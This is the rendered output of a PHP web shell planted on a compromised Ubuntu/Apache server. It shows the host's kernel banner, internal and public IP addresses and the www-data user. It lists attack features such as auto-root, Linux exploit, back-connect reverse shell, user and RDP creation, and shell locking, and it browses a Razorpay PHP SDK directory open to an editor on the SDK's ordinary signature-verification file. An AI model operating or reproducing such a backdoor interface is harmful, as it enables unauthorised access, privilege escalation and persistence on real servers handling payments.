Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.224.60.132
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
pget /
razorpay /
razorpay-php /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Errors
[ DIR ]
drwxr-xr-x
Api.php
1.71
KB
-rwxr-xr-x
ArrayableInterface.php
190
B
-rwxr-xr-x
Card.php
196
B
-rwxr-xr-x
Collection.php
324
B
-rwxr-xr-x
Customer.php
661
B
-rwxr-xr-x
Entity.php
4.65
KB
-rwxr-xr-x
Invoice.php
414
B
-rwxr-xr-x
Order.php
594
B
-rwxr-xr-x
Payment.php
1014
B
-rwxr-xr-x
Refund.php
410
B
-rwxr-xr-x
Request.php
5.51
KB
-rwxr-xr-x
Resource.php
1.09
KB
-rwxr-xr-x
Token.php
707
B
-rwxr-xr-x
Utility.php
1.71
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Utility.php
<?php namespace Razorpay\Api; class Utility { const SHA256 = 'sha256'; public function verifyPaymentSignature($attributes) { $expectedSignature = $attributes['razorpay_signature']; $orderId = $attributes['razorpay_order_id']; $paymentId = $attributes['razorpay_payment_id']; $payload = $orderId . '|' . $paymentId; return self::verifySignature($payload, $expectedSignature); } public function verifyWebhookSignature($payload, $expectedSignature) { return self::verifySignature($payload, $expectedSignature); } public function verifySignature($payload, $expectedSignature) { $actualSignature = hash_hmac(self::SHA256, $payload, Api::getSecret()); // Use lang's built-in hash_equals if exists to mitigate timing attacks if (function_exists('hash_equals')) { $verified = hash_equals($actualSignature, $expectedSignature); } else { $verified = $this->hashEquals($actualSignature, $expectedSignature); } if ($verified === false) { throw new Errors\SignatureVerificationError( 'Invalid signature passed'); } } private function hashEquals($actualSignature, $expectedSignature) { if (strlen($expectedSignature) === strlen($actualSignature)) { $res = $expectedSignature ^ $actualSignature; $return = 0; for ($i = strlen($res) - 1; $i >= 0; $i--) { $return |= ord($res[$i]); } return ($return === 0); } return false; } }
Close